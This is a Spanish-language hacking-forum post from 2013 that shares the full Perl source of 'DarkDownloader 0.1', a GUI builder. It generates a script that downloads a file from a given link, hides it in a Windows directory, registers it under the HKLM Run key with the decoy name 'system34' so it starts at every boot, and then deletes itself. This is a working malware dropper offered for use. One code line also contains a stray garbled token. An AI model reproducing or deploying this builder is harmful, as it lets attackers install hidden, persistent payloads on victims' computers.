elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl Tk] DarkDownloader 0.1
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl Tk] DarkDownloader 0.1  (Leído 1,507 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl Tk] DarkDownloader 0.1
« en: 20 Septiembre 2013, 20:56 pm »

Un simple script en perl para descargar archivos con las siguientes opciones :

  • Bajar el archivo y cambiar el nombre
  • Mover a otro directorio el archivo descargado
  • Ocultar archivo
  • Cargar cada vez que inicie Windows
  • Autoborrarse despues de terminar todo

Una imagen :



El codigo :

Código
  1. #!usr/bin/perl
  2. #DarkDownloader 0.1
  3. #Coded By Doddy H
  4. #Command : perl2exe -gui gen_download.pl
  5.  
  6. use Tk;
  7.  
  8. my $color_fondo = "black";
  9. my $color_texto = "green";
  10.  
  11. if ( $^O eq 'MSWin32' ) {
  12.    use Win32::Console;
  13.    Win32::Console::Free();
  14. }
  15.  
  16. my $ven =
  17.  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  18. $ven->geometry("340x320+20+20");
  19. $ven->resizable( 0, 0 );
  20. $ven->title("DarkDownloader 0.1");
  21.  
  22. $ven->Label(
  23.    -text       => "Link : ",
  24.    -font       => "Impact",
  25.    -background => $color_fondo,
  26.    -foreground => $color_texto
  27. )->place( -x => 20, -y => 20 );
  28. my $link = $ven->Entry(
  29.    -text       => "http://localhost/test.exe",
  30.    -width      => 40,
  31.    -background => $color_fondo,
  32.    -foreground => $color_texto
  33. )->place( -x => 60, -y => 25 );
  34.  
  35. $ven->Label(
  36.    -text       => "-- == Options == --",
  37.    -background => $color_fondo,
  38.    -foreground => $color_texto,
  39.    -font       => "Impact"
  40. )->place( -x => 90, -y => 60 );
  41.  
  42. $ven->Checkbutton(
  43.    -activebackground => $color_texto,
  44.    -background       => $color_fondo,
  45.    -foreground       => $color_texto,
  46.    -text             => "Save File with this name : ",
  47.    -variable         => \$op_save_file_name
  48. )->place( -x => 20, -y => 100 );
  49. my $save_file_with_name = $ven->Entry(
  50.    -width      => 20,
  51.    -text       => "testar.exe",
  52.    -background => $color_fondo,
  53.    -foreground => $color_texto
  54. )->place( -x => 170, -y => 100 );
  55.  
  56. $ven->Checkbutton(
  57.    -activebackground => $color_texto,
  58.    -background       => $color_fondo,
  59.    -foreground       => $color_texto,
  60.    -text             => "Save File in this directory : ",
  61.    -variable         => \$op_save_in_dir
  62. )->place( -x => 20, -y => 130 );
  63. my $save_file_in_this_dir = $ven->Entry(
  64.    -background => $color_fondo,
  65.    -foreground => $color_texto,
  66.    -width      => 20,
  67.    -text       => "C:/WINDOWS/sexnow/"
  68. )->place( -x => 170, -y => 130 );
  69.  
  70. $ven->Checkbutton(
  71.    -activebackground => $color_texto,
  72.    -background       => $color_fondo,
  73.    -foreground       => $color_texto,
  74.    -text             => "Hide File",
  75.    -variable         => \$op_hide
  76. )->place( -x => 20, -y => 160 );
  77.  
  78. $ven->Checkbutton(
  79.    -activebackground => $color_texto,
  80.    -background       => $color_fondo,
  81.    -foreground       => $color_texto,
  82.    -text             => "Load each time you start Windows",
  83.    -variable         => \$op_regedit
  84. )->place( -x => 20, -y => 190 );
  85.  
  86. $ven->Checkbutton(
  87.    -activebackground => $color_texto,
  88.    -background       => $color_fondo,
  89.    -foreground       => $color_texto,
  90.    -text             => "AutoDelete",
  91.    -variable         => \$op_chau
  92. )->place( -x => 20, -y => 220 );
  93.  
  94. $ven->Button(
  95.    -command          => \&genow,
  96.    -activebackground => $color_texto,
  97.    -background       => $color_fondo,
  98.    -foreground       => $color_texto,
  99.    -text             => "Generate !",
  100.    -font             => "Impact",
  101.    -width            => 30
  102. )->place( -x => 40, -y => 260 );
  103.  
  104. MainLoop;
  105.  
  106. sub genow {
  107.  
  108.    my $code_now = q(#!usr/bin/perl
  109. #DarkDownloader 0.1
  110. #Coded By Doddy H
  111.  
  112. use LWP::UserAgent;
  113. use File::Basename;
  114. use File::Copy qw(move);
  115. use Win32::File;
  116. use Win32::TieRegistry( Delimiter => "/" );
  117. use Cwd;
  118.  
  119. my $nave = LWP::UserAgent->new;
  120. $nave->agent(
  121. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  122. );
  123. $nave->timeout(5);
  124.  
  125. # Config
  126.  
  127. my $link                      = "ACA_VA_TU_LINK";
  128. my $op_bajar_con_este_nombre  = ACA_VA_TU_OP_NOMBRE;
  129. my $op_bajar_con_este_nombrex = "ACA_VA_TU_OP_NOMBREX";
  130. my $op_en_este_dir            = ACA_VA_TU_OP_DIR;
  131. my $op_en_este_dirx           = "ACA_VA_TU_OP_DIRX";
  132. my $op_ocultar_archivos       = ACA_VA_TU_OP_HIDE;
  133. my $op_agregar_al_registro    = ACA_VA_TU_OP_REG;
  134. my $op_chau                   = ACA_VA_TU_CHAU;
  135.  
  136. #
  137.  
  138. # Download File
  139.  
  140. if ( $op_bajar_con_este_nombre eq 1 ) {
  141.    download( $link, $op_bajar_con_este_nombrex );
  142. }
  143. else {
  144.    download( $link, basename($link) );
  145. }
  146.  
  147. # Change Directory
  148.  
  149. if ( $op_en_este_dir eq 1 ) {
  150.  
  151.    unless ( -d $op_en_este_dirx ) {
  152.        mkdir( $op_en_este_dirx, 777 );
  153.    }
  154.  
  155.    if ( $op_bajar_con_este_nombre eq 1 ) {
  156.        move( $op_bajar_con_este_nombrex,
  157.            $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex );
  158.    }
  159.    else {
  160.        move( basename($link), $op_en_este_dirx );
  161.    }
  162.  
  163. }
  164.  
  165. # HIDE FILES
  166.  
  167. if ( $op_ocultar_archivos eq 1 ) {
  168.  
  169.    hideit( basename($link),                                     "hide" );
  170.    hideit( $op_en_este_dirx,                                    "hide" );
  171.    hideit( $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex, "hide" );
  172.  
  173. }
  174.  
  175. # REG ADD
  176.  
  177. if ( $op_agregar_al_registro eq 1 ) {
  178.  
  179.    if ( $op_bajar_con_este_nombre eq 1 ) {
  180.  
  181.        if ( $op_en_este_dir eq 1 ) {
  182.            $Registry->{
  183. "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
  184.              } = $op_en_este_dirx
  185.              . "/"
  186.              . $op_bajar_con_este_nombrex;
  187.        }
  188.        else {
  189.            $Registry->{
  190. "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
  191.              } = getcwd()
  192.              . "/"
  193.              . $op_bajar_con_este_nombrex;
  194.        }
  195.  
  196.    }
  197.    else {
  198.  
  199.        if ( $op_en_este_dir eq 1 ) {
  200.            $Registry->{
  201. "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
  202.              } = $op_en_este_dirx
  203.              . "/"
  204.              . basename($link);
  205.        }
  206.        else {
  207.            $Registry->{
  208. "LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
  209.              } = getcwd()
  210.              . "/"
  211.              . basename($link);
  212.        }
  213.    }
  214.  
  215. }
  216.  
  217. ## Boom !
  218.  
  219. if ( $op_chau eq 1 ) {
  220.  
  221.    unlink($0);
  222.  
  223. }
  224.  
  225. ##
  226.  
  227. sub hideit {
  228.    if ( $_[1] eq "show" ) {
  229.        Win32::File::SetAttributes( $_[0], NORMAL );
  230.    }
  231.    elsif ( $_[1] eq "hide" ) {
  232.   winkey     Win32::File::SetAttributes( $_[0], HIDDEN );
  233.    }
  234. }
  235.  
  236. sub download {
  237.    if ( $nave->mirror( $_[0], $_[1] ) ) {
  238.        if ( -f $_[1] ) {
  239.            return true;
  240.        }
  241.    }
  242. }
  243.  
  244. # The End ?);
  245.  
  246.    my $link     = $link->get;
  247.    my $new_file = $save_file_with_name->get;
  248.    my $new_dir  = $save_file_in_this_dir->get;
  249.  
  250.    $code_now =~ s/ACA_VA_TU_LINK/$link/;
  251.  
  252.    if ( $op_save_file_name eq 1 ) {
  253.        $code_now =~ s/ACA_VA_TU_OP_NOMBRE/1/;
  254.    }
  255.    else {
  256.        $code_now =~ s/ACA_VA_TU_OP_NOMBRE/0/;
  257.    }
  258.  
  259.    $code_now =~ s/ACA_VA_TU_OP_NOMBREX/$new_file/;
  260.  
  261.    if ( $op_save_in_dir eq 1 ) {
  262.        $code_now =~ s/ACA_VA_TU_OP_DIR/1/;
  263.    }
  264.    else {
  265.        $code_now =~ s/ACA_VA_TU_OP_DIR/0/;
  266.    }
  267.  
  268.    $code_now =~ s/ACA_VA_TU_OP_DIRX/$new_dir/;
  269.  
  270.    if ( $op_hide eq 1 ) {
  271.        $code_now =~ s/ACA_VA_TU_OP_HIDE/1/;
  272.    }
  273.    else {
  274.        $code_now =~ s/ACA_VA_TU_OP_HIDE/0/;
  275.    }
  276.  
  277.    if ( $op_regedit eq 1 ) {
  278.        $code_now =~ s/ACA_VA_TU_OP_REG/1/;
  279.    }
  280.    else {
  281.        $code_now =~ s/ACA_VA_TU_OP_REG/0/;
  282.    }
  283.  
  284.    if ( $op_chau eq 1 ) {
  285.        $code_now =~ s/ACA_VA_TU_CHAU/1/;
  286.    }
  287.    else {
  288.        $code_now =~ s/ACA_VA_TU_CHAU/0/;
  289.    }
  290.  
  291.    if ( -f gen_download . pl ) {
  292.        unlink("gen_download.pl");
  293.    }
  294.  
  295.    open( FILE, ">>gen_download.pl" );
  296.    print FILE $code_now;
  297.    close FILE;
  298.  
  299.    $ven->Dialog(
  300.        -title            => "Oh Yeah",
  301.        -buttons          => ["OK"],
  302.        -text             => "Enjoy this downloader",
  303.        -background       => $color_fondo,
  304.        -foreground       => $color_texto,
  305.        -activebackground => $color_texto
  306.    )->Show();
  307.  
  308. }
  309.  
  310. #The End ?
  311.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
perl
Scripting
nobo 0 3,199 Último mensaje 22 Febrero 2005, 07:49 am
por nobo
Perl
Scripting
zhynar_X 2 2,229 Último mensaje 12 Enero 2008, 04:36 am
por GroK
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 3,837 Último mensaje 18 Mayo 2011, 21:49 pm
por madpitbull_99
[Perl] Creacion de un Joiner en Perl
Scripting
BigBear 0 2,791 Último mensaje 15 Marzo 2013, 16:12 pm
por BigBear
[Delphi] DarkDownloader 0.2
Programación General
BigBear 1 1,618 Último mensaje 6 Julio 2013, 17:16 pm
por .:UND3R:.
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines